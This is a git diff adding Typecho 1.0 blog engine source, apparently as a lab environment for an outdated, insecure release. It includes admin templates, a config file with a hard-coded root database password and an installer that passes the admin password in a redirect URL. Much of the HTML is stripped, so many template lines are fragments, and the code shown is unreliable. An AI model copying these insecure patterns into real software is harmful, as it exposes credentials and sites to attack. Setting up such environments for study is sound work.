    + + diff --git a/Typecho/1.0/php-fpm/src/admin/options-permalink.php b/Typecho/1.0/php-fpm/src/admin/options-permalink.php new file mode 100755 index 000000000..b715d6d50 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/options-permalink.php @@ -0,0 +1,24 @@ + + +
    +
    + +
    +
    + form()->render(); ?> +
    +
    +
    +
    + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/options-plugin.php b/Typecho/1.0/php-fpm/src/admin/options-plugin.php new file mode 100755 index 000000000..f74c2493c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/options-plugin.php @@ -0,0 +1,23 @@ + + +
    +
    + +
    +
    + config()->render(); ?> +
    +
    +
    +
    + + diff --git a/Typecho/1.0/php-fpm/src/admin/options-reading.php b/Typecho/1.0/php-fpm/src/admin/options-reading.php new file mode 100755 index 000000000..6c871bd29 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/options-reading.php @@ -0,0 +1,37 @@ + + +
    +
    + +
    +
    + form()->render(); ?> +
    +
    +
    +
    + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/options-theme.php b/Typecho/1.0/php-fpm/src/admin/options-theme.php new file mode 100755 index 000000000..d5fdb46e8 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/options-theme.php @@ -0,0 +1,32 @@ + + +
    +
    + +
    +
    +
      +
    • + +
    • + +
    • +
    +
    +
    + config()->render(); ?> +
    +
    +
    +
    + + diff --git a/Typecho/1.0/php-fpm/src/admin/page-title.php b/Typecho/1.0/php-fpm/src/admin/page-title.php new file mode 100755 index 000000000..af25b8dc7 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/page-title.php @@ -0,0 +1,8 @@ + +
    +

    title; ?>addLink)) { + echo "addLink}\">" . _t("新增") . ""; + } + ?>

    +
    diff --git a/Typecho/1.0/php-fpm/src/admin/plugins.php b/Typecho/1.0/php-fpm/src/admin/plugins.php new file mode 100755 index 000000000..e77d2038d --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/plugins.php @@ -0,0 +1,127 @@ + +
    +
    + +
    +
    + to($activatedPlugins); ?> + have() || !empty($activatedPlugins->activatedPlugins)): ?> +

    +
    + + + + + + + + + + + + + + + + + + + next()): ?> + + + + + + + + + + activatedPlugins)): ?> + activatedPlugins as $key => $val): ?> + + + + + + + + + +
    title(); ?> + dependence): ?> + <?php _e('%s 无法在此版本的typecho下正常工作', $activatedPlugins->title); ?> + + description(); ?>version(); ?>homepage) ? $activatedPlugins->author : '' . $activatedPlugins->author . ''; ?> + activate || $activatedPlugins->deactivate || $activatedPlugins->config || $activatedPlugins->personalConfig): ?> + config): ?> + + • + + + + + +
    +
    + + + to($deactivatedPlugins); ?> + have() || !$activatedPlugins->have()): ?> +

    +
    + + + + + + + + + + + + + + + + + + + have()): ?> + next()): ?> + + + + + + + + + + + + + + +
    title(); ?>description(); ?>version(); ?>homepage) ? $deactivatedPlugins->author : '' . $deactivatedPlugins->author . ''; ?> + +
    +
    + + +
    +
    +
    +
    + + diff --git a/Typecho/1.0/php-fpm/src/admin/profile.php b/Typecho/1.0/php-fpm/src/admin/profile.php new file mode 100755 index 000000000..d65eb032a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/profile.php @@ -0,0 +1,58 @@ + + +
    +
    + +
    +
    +

    mail, 220, 'X', 'mm', $request->isSecure()) . '" alt="' . $user->screenName . '" />'; ?>

    +

    screenName(); ?>

    +

    name(); ?>

    +

    %s 篇日志, 并有 %s 条关于你的评论在 %s 个分类中.', + $stat->myPublishedPostsNum, $stat->myPublishedCommentsNum, $stat->categoriesNum); ?>

    +

    logged > 0) { + _e('最后登录: %s', Typecho_I18n::dateWord($user->logged + $options->timezone, $options->gmtTime + $options->timezone)); + } + ?>

    +
    + +
    +
    +

    + profileForm()->render(); ?> +
    + + pass('contributor', true)): ?> +
    +
    +

    + optionsForm()->render(); ?> +
    + + +
    + +
    +

    + personalFormList(); ?> + passwordForm()->render(); ?> +
    +
    +
    +
    +
    + +bottom(); +include 'footer.php'; +?> diff --git a/Typecho/1.0/php-fpm/src/admin/register.php b/Typecho/1.0/php-fpm/src/admin/register.php new file mode 100755 index 000000000..5c8a11c61 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/register.php @@ -0,0 +1,50 @@ +hasLogin() || !$options->allowRegister) { + $response->redirect($options->siteUrl); +} +$rememberName = htmlspecialchars(Typecho_Cookie::get('__typecho_remember_name')); +$rememberMail = htmlspecialchars(Typecho_Cookie::get('__typecho_remember_mail')); +Typecho_Cookie::delete('__typecho_remember_name'); +Typecho_Cookie::delete('__typecho_remember_mail'); + +$bodyClass = 'body-100'; + +include 'header.php'; +?> + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/table-js.php b/Typecho/1.0/php-fpm/src/admin/table-js.php new file mode 100755 index 000000000..13ac1c33f --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/table-js.php @@ -0,0 +1,18 @@ + + diff --git a/Typecho/1.0/php-fpm/src/admin/theme-editor.php b/Typecho/1.0/php-fpm/src/admin/theme-editor.php new file mode 100755 index 000000000..a042d00b9 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/theme-editor.php @@ -0,0 +1,62 @@ +to($files); +?> + +
    +
    + +
    + + +
    +
    +
    + + +

    + currentIsWriteable()): ?> + + + + + + +

    +
    +
    +
      +
    • 模板文件
    • + next()): ?> + current): ?> class="current"> + file(); ?> + +
    +
    +
    +
    +
    + +bottom($files); +include 'footer.php'; +?> diff --git a/Typecho/1.0/php-fpm/src/admin/themes.php b/Typecho/1.0/php-fpm/src/admin/themes.php new file mode 100755 index 000000000..a2d0a004d --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/themes.php @@ -0,0 +1,69 @@ + + +
    +
    + +
    +
    +
      +
    • + +
    • + + +
    • + +
    + +
    + + + + + + + + + + + + + to($themes); ?> + next()): ?> + + + + + + +
    截图详情
    <?php $themes->name(); ?> +

    title ? $themes->title() : $themes->name(); ?>

    + + author): ?>: homepage): ?>author(); ?>homepage): ?>    + version): ?>: version() ?> + +

    description); ?>

    + theme != $themes->name): ?> +

    + +   + + +

    + +
    +
    +
    +
    +
    +
    + + diff --git a/Typecho/1.0/php-fpm/src/admin/upgrade.php b/Typecho/1.0/php-fpm/src/admin/upgrade.php new file mode 100755 index 000000000..718d47a0f --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/upgrade.php @@ -0,0 +1,41 @@ + + +
    +
    + +
    +
    +
    +
    +

    +
      +
    • +
    • %s 升级到 %s', $options->version, Typecho_Common::VERSION); ?>
    • +
    • +
    +

    +
    +
    +
    +
    +
    +
    + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/user.php b/Typecho/1.0/php-fpm/src/admin/user.php new file mode 100755 index 000000000..f6cb957e1 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/user.php @@ -0,0 +1,23 @@ + + +
    +
    + +
    +
    + form()->render(); ?> +
    +
    +
    +
    + + diff --git a/Typecho/1.0/php-fpm/src/admin/welcome.php b/Typecho/1.0/php-fpm/src/admin/welcome.php new file mode 100755 index 000000000..6c26136ad --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/welcome.php @@ -0,0 +1,36 @@ + + +
    +
    + +
    +
    +
    +
    +

    title); ?>

    +
      +
    1. + pass('contributor', true)): ?> +
    2. +
    3. + +
    4. + +
    +

    +
    +
    +
    +
    +
    +
    + + diff --git a/Typecho/1.0/php-fpm/src/admin/write-js.php b/Typecho/1.0/php-fpm/src/admin/write-js.php new file mode 100755 index 000000000..958635fa1 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/write-js.php @@ -0,0 +1,260 @@ + +write(); ?> +to($tags); ?> + + + + + diff --git a/Typecho/1.0/php-fpm/src/admin/write-page.php b/Typecho/1.0/php-fpm/src/admin/write-page.php new file mode 100755 index 000000000..2b50bf2f3 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/write-page.php @@ -0,0 +1,151 @@ +to($page); +?> +
    +
    + +
    +
    +
    + draft && $page->draft['cid'] != $page->cid): ?> + draft['modified']); ?> + 删除它', $pageModifyDate->word(), + $security->getIndex('/action/contents-page-edit?do=deleteDraft&cid=' . $page->cid)); ?> + + +

    + + +

    + routingTable['page']['url'], $options->index); + list ($scheme, $permalink) = explode(':', $permalink, 2); + $permalink = ltrim($permalink, '/'); + $permalink = preg_replace("/\[([_a-z0-9-]+)[^\]]*\]/i", "{\\1}", $permalink); + if ($page->have()) { + $permalink = str_replace('{cid}', $page->cid, $permalink); + } + $input = ''; + ?> +

    + + +

    +

    + + +

    + + +

    + + + + + markdown && (!$page->have() || $page->isMarkdown)): ?> + + + +

    + + content($page); ?> +
    + +
    +
    +
    +
    + +trigger($plugged)->richEditor($page); +if (!$plugged) { + include 'editor-js.php'; +} + +include 'file-upload-js.php'; +include 'custom-fields-js.php'; +Typecho_Plugin::factory('admin/write-page.php')->bottom($page); +include 'footer.php'; +?> diff --git a/Typecho/1.0/php-fpm/src/admin/write-post.php b/Typecho/1.0/php-fpm/src/admin/write-post.php new file mode 100755 index 000000000..d8ad69f8c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/admin/write-post.php @@ -0,0 +1,180 @@ +to($post); +?> +
    +
    + +
    +
    +
    + draft && $post->draft['cid'] != $post->cid): ?> + draft['modified']); ?> + 删除它', $postModifyDate->word(), + $security->getIndex('/action/contents-post-edit?do=deleteDraft&cid=' . $post->cid)); ?> + + +

    + + +

    + routingTable['post']['url'], $options->index); + list ($scheme, $permalink) = explode(':', $permalink, 2); + $permalink = ltrim($permalink, '/'); + $permalink = preg_replace("/\[([_a-z0-9-]+)[^\]]*\]/i", "{\\1}", $permalink); + if ($post->have()) { + $permalink = str_replace(array( + '{cid}', '{category}', '{year}', '{month}', '{day}' + ), array( + $post->cid, $post->category, $post->year, $post->month, $post->day + ), $permalink); + } + $input = ''; + ?> +

    + + +

    +

    + + +

    + + + +

    + + + + + markdown && (!$post->have() || $post->isMarkdown)): ?> + + + +

    + + content($post); ?> +
    + + +
    +
    +
    +
    + +trigger($plugged)->richEditor($post); +if (!$plugged) { + include 'editor-js.php'; +} + +include 'file-upload-js.php'; +include 'custom-fields-js.php'; +Typecho_Plugin::factory('admin/write-post.php')->bottom($post); +include 'footer.php'; +?> diff --git a/Typecho/1.0/php-fpm/src/config.inc.php b/Typecho/1.0/php-fpm/src/config.inc.php new file mode 100644 index 000000000..a5c880968 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/config.inc.php @@ -0,0 +1,64 @@ +addServer(array ( + 'host' => 'db', + 'user' => 'root', + 'password' => '123456', + 'charset' => 'utf8', + 'port' => '3306', + 'database' => 'tcho', +), Typecho_Db::READ | Typecho_Db::WRITE); +Typecho_Db::set($db); diff --git a/Typecho/1.0/php-fpm/src/index.php b/Typecho/1.0/php-fpm/src/index.php new file mode 100755 index 000000000..79efa8b4a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/index.php @@ -0,0 +1,26 @@ +begin(); + +/** 开始路由分发 */ +Typecho_Router::dispatch(); + +/** 注册一个结束插件 */ +Typecho_Plugin::factory('index.php')->end(); diff --git a/Typecho/1.0/php-fpm/src/install.php b/Typecho/1.0/php-fpm/src/install.php new file mode 100755 index 000000000..ce361a3e0 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/install.php @@ -0,0 +1,666 @@ +generator = 'Typecho ' . Typecho_Common::VERSION; +list($soft, $currentVersion) = explode(' ', $options->generator); + +$options->software = $soft; +$options->version = $currentVersion; + +list($prefixVersion, $suffixVersion) = explode('/', $currentVersion); + +/** 获取语言 */ +$lang = _r('lang', Typecho_Cookie::get('__typecho_lang')); +$langs = Widget_Options_General::getLangs(); + +if (empty($lang) && count($langs) > 1) { + foreach ($langs as $lang) { + if ('zh_CN' != $lang) { + break; + } + } +} + +if (empty($lang)) { + $lang = 'zh_CN'; +} + +if ('zh_CN' != $lang) { + $dir = defined('__TYPECHO_LANG_DIR__') ? __TYPECHO_LANG_DIR__ : __TYPECHO_ROOT_DIR__ . '/usr/langs'; + Typecho_I18n::setLang($dir . '/' . $lang . '.mo'); +} + +Typecho_Cookie::set('__typecho_lang', $lang); + +?> + + + + <?php _e('Typecho 安装程序'); ?> + + + + + +
    +

    Typecho

    +
      + class="current">1 + class="current">2 + class="current">3 + class="current">4 +
    +
    +
    +
    +
    +
    + + +

    +
    +
    +

    +
    +
    + +

    +
    +
    +

    +
    +
    + + addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); + Typecho_Db::set($db); + ?> +

    +
    +
    + + + + + :
    + : + + +
    + + + +
    +

    :

    +
      + getTokenUrl($loginUrl); + } else { + $loginUrl = _u() . '/admin/index.php'; + } + ?> +
    • +
    • +
    +
    + +

    +
    + + + +

    +
    +
    +

    +
    +
    + + addServer($config, Typecho_Db::READ | Typecho_Db::WRITE); + + /** 初始化数据库结构 */ + $scripts = file_get_contents ('./install/' . $type . '.sql'); + $scripts = str_replace('typecho_', $config['prefix'], $scripts); + + if (isset($config['charset'])) { + $scripts = str_replace('%charset%', $config['charset'], $scripts); + } + + $scripts = explode(';', $scripts); + foreach ($scripts as $script) { + $script = trim($script); + if ($script) { + $installDb->query($script, Typecho_Db::WRITE); + } + } + + /** 全局变量 */ + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'theme', 'user' => 0, 'value' => 'default'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'theme:default', 'user' => 0, 'value' => 'a:2:{s:7:"logoUrl";N;s:12:"sidebarBlock";a:5:{i:0;s:15:"ShowRecentPosts";i:1;s:18:"ShowRecentComments";i:2;s:12:"ShowCategory";i:3;s:11:"ShowArchive";i:4;s:9:"ShowOther";}}'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'timezone', 'user' => 0, 'value' => _t('28800')))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'lang', 'user' => 0, 'value' => $lang))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'charset', 'user' => 0, 'value' => _t('UTF-8')))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'contentType', 'user' => 0, 'value' => 'text/html'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'gzip', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'generator', 'user' => 0, 'value' => $options->generator))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'title', 'user' => 0, 'value' => 'Hello World'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'description', 'user' => 0, 'value' => 'Just So So ...'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'keywords', 'user' => 0, 'value' => 'typecho,php,blog'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'rewrite', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'frontPage', 'user' => 0, 'value' => 'recent'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'frontArchive', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsRequireMail', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsWhitelist', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsRequireURL', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsRequireModeration', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'plugins', 'user' => 0, 'value' => 'a:0:{}'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentDateFormat', 'user' => 0, 'value' => 'F jS, Y \a\t h:i a'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'siteUrl', 'user' => 0, 'value' => $config['siteUrl']))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'defaultCategory', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'allowRegister', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'defaultAllowComment', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'defaultAllowPing', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'defaultAllowFeed', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'pageSize', 'user' => 0, 'value' => 5))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'postsListSize', 'user' => 0, 'value' => 10))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsListSize', 'user' => 0, 'value' => 10))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsHTMLTagAllowed', 'user' => 0, 'value' => NULL))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'postDateFormat', 'user' => 0, 'value' => 'Y-m-d'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'feedFullText', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'editorSize', 'user' => 0, 'value' => 350))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'autoSave', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'markdown', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsMaxNestingLevels', 'user' => 0, 'value' => 5))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsPostTimeout', 'user' => 0, 'value' => 24 * 3600 * 30))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsUrlNofollow', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsShowUrl', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsMarkdown', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsPageBreak', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsThreaded', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsPageSize', 'user' => 0, 'value' => 20))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsPageDisplay', 'user' => 0, 'value' => 'last'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsOrder', 'user' => 0, 'value' => 'ASC'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsCheckReferer', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsAutoClose', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsPostIntervalEnable', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsPostInterval', 'user' => 0, 'value' => 60))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsShowCommentOnly', 'user' => 0, 'value' => 0))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsAvatar', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsAvatarRating', 'user' => 0, 'value' => 'G'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'commentsAntiSpam', 'user' => 0, 'value' => 1))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'routingTable', 'user' => 0, 'value' => 'a:25:{s:5:"index";a:3:{s:3:"url";s:1:"/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:7:"archive";a:3:{s:3:"url";s:6:"/blog/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:2:"do";a:3:{s:3:"url";s:22:"/action/[action:alpha]";s:6:"widget";s:9:"Widget_Do";s:6:"action";s:6:"action";}s:4:"post";a:3:{s:3:"url";s:24:"/archives/[cid:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:10:"attachment";a:3:{s:3:"url";s:26:"/attachment/[cid:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:8:"category";a:3:{s:3:"url";s:17:"/category/[slug]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:3:"tag";a:3:{s:3:"url";s:12:"/tag/[slug]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:6:"author";a:3:{s:3:"url";s:22:"/author/[uid:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:6:"search";a:3:{s:3:"url";s:19:"/search/[keywords]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:10:"index_page";a:3:{s:3:"url";s:21:"/page/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:12:"archive_page";a:3:{s:3:"url";s:26:"/blog/page/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:13:"category_page";a:3:{s:3:"url";s:32:"/category/[slug]/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:8:"tag_page";a:3:{s:3:"url";s:27:"/tag/[slug]/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:11:"author_page";a:3:{s:3:"url";s:37:"/author/[uid:digital]/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:11:"search_page";a:3:{s:3:"url";s:34:"/search/[keywords]/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:12:"archive_year";a:3:{s:3:"url";s:18:"/[year:digital:4]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:13:"archive_month";a:3:{s:3:"url";s:36:"/[year:digital:4]/[month:digital:2]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:11:"archive_day";a:3:{s:3:"url";s:52:"/[year:digital:4]/[month:digital:2]/[day:digital:2]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:17:"archive_year_page";a:3:{s:3:"url";s:38:"/[year:digital:4]/page/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:18:"archive_month_page";a:3:{s:3:"url";s:56:"/[year:digital:4]/[month:digital:2]/page/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:16:"archive_day_page";a:3:{s:3:"url";s:72:"/[year:digital:4]/[month:digital:2]/[day:digital:2]/page/[page:digital]/";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:12:"comment_page";a:3:{s:3:"url";s:53:"[permalink:string]/comment-page-[commentPage:digital]";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}s:4:"feed";a:3:{s:3:"url";s:20:"/feed[feed:string:0]";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:4:"feed";}s:8:"feedback";a:3:{s:3:"url";s:31:"[permalink:string]/[type:alpha]";s:6:"widget";s:15:"Widget_Feedback";s:6:"action";s:6:"action";}s:4:"page";a:3:{s:3:"url";s:12:"/[slug].html";s:6:"widget";s:14:"Widget_Archive";s:6:"action";s:6:"render";}}'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'actionTable', 'user' => 0, 'value' => 'a:0:{}'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'panelTable', 'user' => 0, 'value' => 'a:0:{}'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'attachmentTypes', 'user' => 0, 'value' => '@image@'))); + $installDb->query($installDb->insert('table.options')->rows(array('name' => 'secret', 'user' => 0, 'value' => Typecho_Common::randString(32, true)))); + + /** 初始分类 */ + $installDb->query($installDb->insert('table.metas')->rows(array('name' => _t('默认分类'), 'slug' => 'default', 'type' => 'category', 'description' => _t('只是一个默认分类'), + 'count' => 1, 'order' => 1))); + + /** 初始关系 */ + $installDb->query($installDb->insert('table.relationships')->rows(array('cid' => 1, 'mid' => 1))); + + /** 初始内容 */ + $installDb->query($installDb->insert('table.contents')->rows(array('title' => _t('欢迎使用 Typecho'), 'slug' => 'start', 'created' => Typecho_Date::gmtTime(), 'modified' => Typecho_Date::gmtTime(), + 'text' => '' . _t('如果您看到这篇文章,表示您的 blog 已经安装成功.'), 'authorId' => 1, 'type' => 'post', 'status' => 'publish', 'commentsNum' => 1, 'allowComment' => 1, + 'allowPing' => 1, 'allowFeed' => 1, 'parent' => 0))); + + $installDb->query($installDb->insert('table.contents')->rows(array('title' => _t('关于'), 'slug' => 'start-page', 'created' => Typecho_Date::gmtTime(), 'modified' => Typecho_Date::gmtTime(), + 'text' => '' . _t('本页面由 Typecho 创建, 这只是个测试页面.'), 'authorId' => 1, 'order' => 0, 'type' => 'page', 'status' => 'publish', 'commentsNum' => 0, 'allowComment' => 1, + 'allowPing' => 1, 'allowFeed' => 1, 'parent' => 0))); + + /** 初始评论 */ + $installDb->query($installDb->insert('table.comments')->rows(array('cid' => 1, 'created' => Typecho_Date::gmtTime(), 'author' => 'Typecho', 'ownerId' => 1, 'url' => 'http://typecho.org', + 'ip' => '127.0.0.1', 'agent' => $options->generator, 'text' => '欢迎加入 Typecho 大家族', 'type' => 'comment', 'status' => 'approved', 'parent' => 0))); + + /** 初始用户 */ + $password = empty($config['userPassword']) ? substr(uniqid(), 7) : $config['userPassword']; + $hasher = new PasswordHash(8, true); + + $installDb->query($installDb->insert('table.users')->rows(array('name' => $config['userName'], 'password' => $hasher->HashPassword($password), 'mail' => $config['userMail'], + 'url' => 'http://www.typecho.org', 'screenName' => $config['userName'], 'group' => 'administrator', 'created' => Typecho_Date::gmtTime()))); + + unset($_SESSION['typecho']); + header('Location: ./install.php?finish&user=' . urlencode($config['userName']) + . '&password=' . urlencode($password)); + } catch (Typecho_Db_Exception $e) { + $success = false; + $code = $e->getCode(); +?> +

    +
    +
    +query("DROP TABLE IF EXISTS `{$table}`"); + } elseif($type == 'Pgsql') { + $installDb->query("DROP TABLE {$table}"); + } elseif($type == 'SQLite') { + $installDb->query("DROP TABLE {$table}"); + } + } + echo '

    ' . _t('已经删除完原有数据') . '

    '; + } elseif (_r('goahead')) { + //使用原有数据 + //但是要更新用户网站 + $installDb->query($installDb->update('table.options')->rows(array('value' => $config['siteUrl']))->where('name = ?', 'siteUrl')); + unset($_SESSION['typecho']); + header('Location: ./install.php?finish&use_old'); + exit; + } else { + echo '

    ' . _t('安装程序检查到原有数据表已经存在.') + . '

    ' . ' ' + . _t('或者') . '

    '; + } + } else { + echo '

    ' . _t('安装程序捕捉到以下错误: "%s". 程序被终止, 请检查您的配置信息.',$e->getMessage()) . '

    '; + } + ?> +
    +
    + + + + +
    +

    +
    +

    + ' . _t('没有检测到您手动创建的配置文件, 请检查后再次创建') . '

    '; + $success = false; + } else { + if (NULL == _r('userUrl')) { + $success = false; + echo '

    ' . _t('请填写您的网站地址') . '

    '; + } else if (NULL == _r('userName')) { + $success = false; + echo '

    ' . _t('请填写您的用户名') . '

    '; + } else if (NULL == _r('userMail')) { + $success = false; + echo '

    ' . _t('请填写您的邮箱地址') . '

    '; + } else if (32 < strlen(_r('userName'))) { + $success = false; + echo '

    ' . _t('用户名长度超过限制, 请不要超过 32 个字符') . '

    '; + } else if (200 < strlen(_r('userMail'))) { + $success = false; + echo '

    ' . _t('邮箱长度超过限制, 请不要超过 200 个字符') . '

    '; + } + } + + $_dbConfig = _rFrom('dbHost', 'dbUser', 'dbPassword', 'dbCharset', 'dbPort', 'dbDatabase', 'dbFile', 'dbDsn'); + + $_dbConfig = array_filter($_dbConfig); + $dbConfig = array(); + foreach ($_dbConfig as $key => $val) { + $dbConfig[strtolower (substr($key, 2))] = $val; + } + + // 在特殊服务器上的特殊安装过程处理 + if (_r('config')) { + $replace = array_keys($dbConfig); + foreach ($replace as &$key) { + $key = '{' . $key . '}'; + } + + if (!empty($_dbConfig['dbDsn'])) { + $dbConfig['dsn'] = str_replace($replace, array_values($dbConfig), $dbConfig['dsn']); + } + $config = str_replace($replace, array_values($dbConfig), _r('config')); + } + + if (!isset($config) && $success && !_r('created')) { + $installDb = new Typecho_Db($adapter, _r('dbPrefix')); + $installDb->addServer($dbConfig, Typecho_Db::READ | Typecho_Db::WRITE); + + + /** 检测数据库配置 */ + try { + $installDb->query('SELECT 1=1'); + } catch (Typecho_Db_Adapter_Exception $e) { + $success = false; + echo '

    ' + . _t('对不起,无法连接数据库,请先检查数据库配置再继续进行安装') . '

    '; + } catch (Typecho_Db_Exception $e) { + $success = false; + echo '

    ' + . _t('安装程序捕捉到以下错误: " %s ". 程序被终止, 请检查您的配置信息.',$e->getMessage()) . '

